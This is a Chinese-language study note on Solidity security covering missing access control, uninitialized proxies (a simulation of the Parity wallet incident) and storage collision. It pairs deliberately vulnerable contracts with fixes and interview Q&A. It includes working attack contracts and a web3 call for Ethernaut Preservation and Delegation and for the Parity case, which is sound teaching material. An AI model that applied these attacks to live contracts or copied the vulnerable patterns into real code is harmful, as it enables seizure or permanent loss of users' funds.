权限漏洞 + 未初始化代理 + 存储碰撞(Storage Collision)
### 1. 权限漏洞(Missing Access Control)
日期: 2026-05-23 方向: Solidity / Security 阶段: 第三阶段:安全审计 标签: #access-control #proxy #storage-collision #parity-hack #ethernaut
今日目标
- 理解缺失访问控制漏洞的各种形态
- 深入分析未初始化代理漏洞(Parity 钱包事件)
- 掌握代理模式中存储碰撞的原理和防范
- 完成 Ethernaut #16 Preservation 和 #6 Delegation 挑战
核心概念
1. 权限漏洞(Missing Access Control)
权限漏洞是智能合约中最常见也最危险的漏洞之一。它的核心问题是:应该受限的函数没有正确实施访问控制。
常见场景
| 场景 | 说明 | 影响 |
|---|---|---|
缺失 onlyOwner | 管理函数没有权限检查 | 任何人可以调用管理功能 |
| 初始化函数可重复调用 | initialize() 没有防重入 | 攻击者重新初始化合约 |
| 内部函数误设为 public | 可见性设置错误 | 暴露内部逻辑 |
| 默认可见性 | Solidity 0.5 之前默认 public | 函数意外暴露 |
Solidity 可见性规则
contract Visibility {
// public: 任何人可调用(内部+外部)
function publicFunc() public {}
// external: 仅外部调用(比 public 稍省 gas)
function externalFunc() external {}
// internal: 仅本合约和子合约
function internalFunc() internal {}
// private: 仅本合约
function privateFunc() private {}
}
重要:Solidity 0.5.0 之前,函数默认可见性是
public!这导致了很多意外暴露。
2. 代理模式(Proxy Pattern)
代理模式是实现合约可升级性的核心机制。理解它的存储模型对安全至关重要。
工作原理
用户 → Proxy 合约(存储 + delegatecall)→ Implementation 合约(逻辑)
关键:delegatecall 在 Proxy 的存储上下文中执行 Implementation 的代码
// delegatecall 的本质:
// "用别人的代码操作自己的存储"
//
// Proxy 存储: slot 0 = X, slot 1 = Y
// Impl 代码: 写入 slot 0
// 结果: Proxy 的 slot 0 被修改
三种代理模式
| 模式 | 特点 | admin 存储位置 |
|---|---|---|
| Transparent Proxy | Admin 调用走 proxy 逻辑,用户调用走 impl | 特殊 slot |
| UUPS | 升级逻辑在 Implementation 中 | 特殊 slot |
| Beacon Proxy | 多个 proxy 共享一个 beacon | Beacon 合约中 |
3. 存储碰撞(Storage Collision)
EVM 使用 slot-based 存储。每个状态变量按声明顺序占据 slot:
contract A {
uint256 public x; // slot 0
uint256 public y; // slot 1
address public owner; // slot 2
}
当 Proxy 使用 delegatecall 调用 Implementation 时,Implementation 的代码操作的是 Proxy 的存储 slot。如果两者的存储布局不匹配,就会发生存储碰撞。
Proxy 存储布局: Implementation 存储布局:
slot 0: implementation addr slot 0: uint256 value
slot 1: admin addr slot 1: address owner
slot 2: ... slot 2: ...
当 Implementation 写入 "value"(slot 0)时,
实际修改的是 Proxy 的 "implementation address"!
4. EIP-1967 标准存储 Slot
为了避免存储碰撞,EIP-1967 定义了特殊的存储 slot:
// EIP-1967 标准 slot
bytes32 constant IMPLEMENTATION_SLOT =
bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1);
// = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
bytes32 constant ADMIN_SLOT =
bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1);
// = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103
这些 slot 值是通过 keccak256 - 1 计算的,几乎不可能与正常变量声明的 slot 碰撞。
代码实战
漏洞示例 1:缺失访问控制
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// 漏洞版本
contract VaultVulnerable {
address public owner;
mapping(address => uint256) public balances;
constructor() {
owner = msg.sender;
}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
// 漏洞!没有权限检查,任何人都可以调用
function withdrawAll(address payable to) external {
uint256 balance = address(this).balance;
(bool success, ) = to.call{value: balance}("");
require(success, "Transfer failed");
}
// 漏洞!没有权限检查,任何人都可以修改 owner
function setOwner(address newOwner) external {
owner = newOwner;
}
}
修复方案
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
// 方案1: 使用 Ownable(简单场景)
contract VaultFixed1 is Ownable {
mapping(address => uint256) public balances;
constructor() Ownable(msg.sender) {}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
// 只有 owner 可以调用
function withdrawAll(address payable to) external onlyOwner {
(bool success, ) = to.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
// 方案2: 使用 AccessControl(复杂场景,多角色)
contract VaultFixed2 is AccessControl {
bytes32 public constant WITHDRAWER_ROLE = keccak256("WITHDRAWER_ROLE");
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
mapping(address => uint256) public balances;
constructor() {
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
_grantRole(WITHDRAWER_ROLE, msg.sender);
}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdrawAll(address payable to) external onlyRole(WITHDRAWER_ROLE) {
(bool success, ) = to.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
漏洞示例 2:未初始化代理(Parity 钱包 Hack 模拟)
2017 年 Parity 多签钱包事件是 DeFi 历史上最严重的安全事件之一。攻击者利用未初始化的 library 合约,调用 initWallet 成为 owner,然后调用 kill 销毁合约,冻结了价值 1.5 亿美元的 ETH。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// 模拟 Parity 漏洞场景
// Implementation(逻辑合约)
contract WalletLibrary {
address public owner;
bool public initialized;
// 漏洞:initWallet 是 public 的,且没有检查是否已初始化
// 在 Library 自身的存储上下文中,owner 和 initialized 从未被设置
function initWallet(address _owner) public {
// 漏洞:没有 require(!initialized)
owner = _owner;
initialized = true;
}
function execute(address to, uint256 value, bytes memory data) public {
require(msg.sender == owner, "Not owner");
(bool success, ) = to.call{value: value}(data);
require(success, "Execution failed");
}
// 漏洞:任何人成为 owner 后可以自毁
function kill(address payable recipient) public {
require(msg.sender == owner, "Not owner");
selfdestruct(recipient);
}
}
// Proxy(钱包合约)
contract WalletProxy {
address public implementation;
constructor(address _implementation) {
implementation = _implementation;
}
fallback() external payable {
address impl = implementation;
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
receive() external payable {}
}
攻击过程
contract ParityAttack {
function attack(address walletLibrary) external {
// 步骤1:直接调用 WalletLibrary 的 initWallet
// 因为 WalletLibrary 自身从未被初始化!
WalletLibrary(walletLibrary).initWallet(address(this));
// 步骤2:现在我们是 owner,可以 selfdestruct
WalletLibrary(walletLibrary).kill(payable(msg.sender));
// 结果:WalletLibrary 被销毁
// 所有指向它的 Proxy 都失效了——delegatecall 到一个空地址
// 所有 Proxy 中的 ETH 被永久锁定!
}
}
修复方案
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
// 修复版本
contract WalletLibraryFixed is Initializable {
address public owner;
// 使用 initializer 修饰符防止重复初始化
function initWallet(address _owner) public initializer {
owner = _owner;
}
// 方法2:在构造函数中禁用初始化(推荐)
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers(); // 防止 implementation 自身被初始化
}
function execute(address to, uint256 value, bytes memory data) public {
require(msg.sender == owner, "Not owner");
(bool success, ) = to.call{value: value}(data);
require(success);
}
// 移除 selfdestruct!
}
漏洞示例 3:存储碰撞(Ethernaut #16 Preservation)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// 时间库合约
contract LibraryContract {
uint public storedTime; // slot 0
function setTime(uint _time) public {
storedTime = _time; // 写入 slot 0
}
}
// 漏洞合约
contract Preservation {
address public timeZone1Library; // slot 0
address public timeZone2Library; // slot 1
address public owner; // slot 2
uint storedTime; // slot 3
constructor(address _tz1, address _tz2) {
timeZone1Library = _tz1;
timeZone2Library = _tz2;
owner = msg.sender;
}
function setFirstTime(uint _timeStamp) public {
// delegatecall: 用 LibraryContract 的代码操作本合约的存储
timeZone1Library.delegatecall(
abi.encodePacked(bytes4(keccak256("setTime(uint256)")), _timeStamp)
);
}
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(
abi.encodePacked(bytes4(keccak256("setTime(uint256)")), _timeStamp)
);
}
}
存储碰撞分析
LibraryContract 存储布局: Preservation 存储布局:
slot 0: storedTime slot 0: timeZone1Library ← 碰撞!
slot 1: timeZone2Library
slot 2: owner
slot 3: storedTime
当 Preservation delegatecall LibraryContract.setTime(X) 时:
LibraryContract 写入 slot 0 (storedTime)
→ 实际修改的是 Preservation 的 slot 0 (timeZone1Library)!
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract PreservationAttack {
// 关键:存储布局必须和 Preservation 匹配!
address public timeZone1Library; // slot 0
address public timeZone2Library; // slot 1
address public owner; // slot 2
function setTime(uint _time) public {
// 当被 delegatecall 调用时,修改的是 Preservation 的 slot 2
owner = address(uint160(_time)); // 覆盖 owner!
}
}
// 攻击流程:
// 1. 部署 PreservationAttack
// 2. 调用 preservation.setFirstTime(uint256(attackContract))
// → delegatecall LibraryContract.setTime() 修改 slot 0
// → Preservation.timeZone1Library = attackContract 地址
// 3. 再次调用 preservation.setFirstTime(uint256(attacker))
// → 这次 delegatecall 的是 PreservationAttack.setTime()
// → 修改 slot 2 = owner = attacker!
漏洞示例 4:Ethernaut #6 Delegation
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner; // slot 0
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender; // 写入 slot 0
}
}
contract Delegation {
address public owner; // slot 0
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
// 漏洞:fallback 中无条件 delegatecall
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
攻击方式
// 只需发送 pwn() 的函数签名作为 calldata
// Delegation 的 fallback 会 delegatecall Delegate.pwn()
// 在 Delegation 的上下文中执行 owner = msg.sender
await web3.eth.sendTransaction({
from: attacker,
to: delegationAddress,
data: web3.eth.abi.encodeFunctionSignature("pwn()"),
gas: 100000
});
// 现在 Delegation.owner = attacker!
关键要点总结
访问控制检查清单
| 检查项 | 说明 |
|---|---|
| 所有管理函数有权限修饰符 | onlyOwner / onlyRole |
initialize 函数只能调用一次 | 使用 initializer 修饰符 |
| 构造函数中禁用初始化 | _disableInitializers() |
| 函数可见性正确 | 不需要外部访问的设为 internal / private |
delegatecall 目标受控 | 不能让用户指定 delegatecall 地址 |
代理模式安全要点
| 要点 | 说明 |
|---|---|
| 存储布局必须一致 | Proxy 和 Implementation 的变量顺序完全匹配 |
| 使用 EIP-1967 slot | 避免 admin/implementation 地址的存储碰撞 |
| Implementation 禁止 selfdestruct | EIP-6780 后影响减小,但仍需注意 |
| 升级时只追加变量 | 不删除、不重排已有变量 |
| Implementation 构造函数禁用初始化 | 防止被直接初始化 |
delegatecall 安全规则
1. 永远不要让用户控制 delegatecall 的目标地址
2. delegatecall 目标合约的存储布局必须和调用者完全匹配
3. delegatecall 保留 msg.sender 和 msg.value
4. 修改的是调用者的存储,不是目标的存储
常见误区
误区 1:"private 变量在链上是私密的"
大错特错!所有链上数据都是公开可读的。private 只是编译器层面的访问限制,任何人都可以通过 eth_getStorageAt 直接读取任意 slot。
// 读取合约 slot 0 的值
await web3.eth.getStorageAt(contractAddress, 0);
// 即使变量标记为 private,也能读到
误区 2:"delegatecall 只是普通的函数调用"
delegatecall 完全在调用者的上下文中执行:
msg.sender不变(不是 proxy 地址,是原始调用者)msg.value不变- 存储操作作用于调用者
address(this)是调用者地址
误区 3:"升级合约只要改 implementation 地址就行"
升级时必须保证新 implementation 的存储布局完全兼容旧版。新变量只能追加到末尾,不能插入、删除或重排。OpenZeppelin 的 upgrades plugin 提供了自动检查工具。
误区 4:"用了 OpenZeppelin 就安全了"
OpenZeppelin 提供了安全的基础组件,但使用方式错误仍然会产生漏洞。例如忘记调用 __Ownable_init()、忘记加 initializer 修饰符等。
面试关联
Q: 什么是 delegatecall?它有什么安全风险?
简短回答:delegatecall 使用目标合约的代码在调用者的存储上下文中执行。主要风险是存储碰撞和权限绕过。
详细回答:
delegatecall是 EVM 操作码,用于"借用别人的代码操作自己的存储"- 核心机制:msg.sender、msg.value 不变,存储操作作用于调用者
- 安全风险:
- 存储碰撞:目标合约的变量布局与调用者不匹配
- 权限绕过:目标合约可能写入关键 slot(如 owner)
- 未初始化代理:Implementation 合约自身可能被攻击
- 防护措施:EIP-1967 标准 slot、
initializer修饰符、存储布局检查
Q: 描述 Parity 钱包被黑事件及其教训
回答:
- 事件:2017年 Parity 多签钱包 Library 合约未被初始化,攻击者调用
initWallet成为 owner,然后调用kill销毁 Library - 影响:所有指向该 Library 的 Proxy 钱包失效,约 1.5 亿美元 ETH 被永久锁定
- 教训:
- Implementation 合约必须在部署时禁用初始化
initializer修饰符防止重复初始化- 避免在 Implementation 中使用
selfdestruct - 这个事件直接推动了 EIP-1967 和标准化 Proxy 模式的发展
Q: 如何安全地实现合约可升级性?
回答:使用 OpenZeppelin 的 Transparent Proxy 或 UUPS 模式,遵循以下原则:
- 使用 EIP-1967 标准 slot 存储 implementation/admin 地址
- Implementation 构造函数中调用
_disableInitializers() - 使用
initializer修饰符确保只初始化一次 - 升级时只追加新变量,不修改已有布局
- 使用 OpenZeppelin Upgrades Plugin 自动检查存储布局兼容性
参考资源
- Ethernaut #6 Delegation — delegatecall 攻击
- Ethernaut #16 Preservation — 存储碰撞攻击
- Parity Wallet Hack Post-Mortem — 官方事后分析
- EIP-1967: Standard Proxy Storage Slots — 标准 slot 定义
- OpenZeppelin Proxy Documentation — 代理合约文档
- SWC-112 Delegatecall — 漏洞分类注册表
- Trail of Bits: Not So Smart Contracts — 漏洞示例集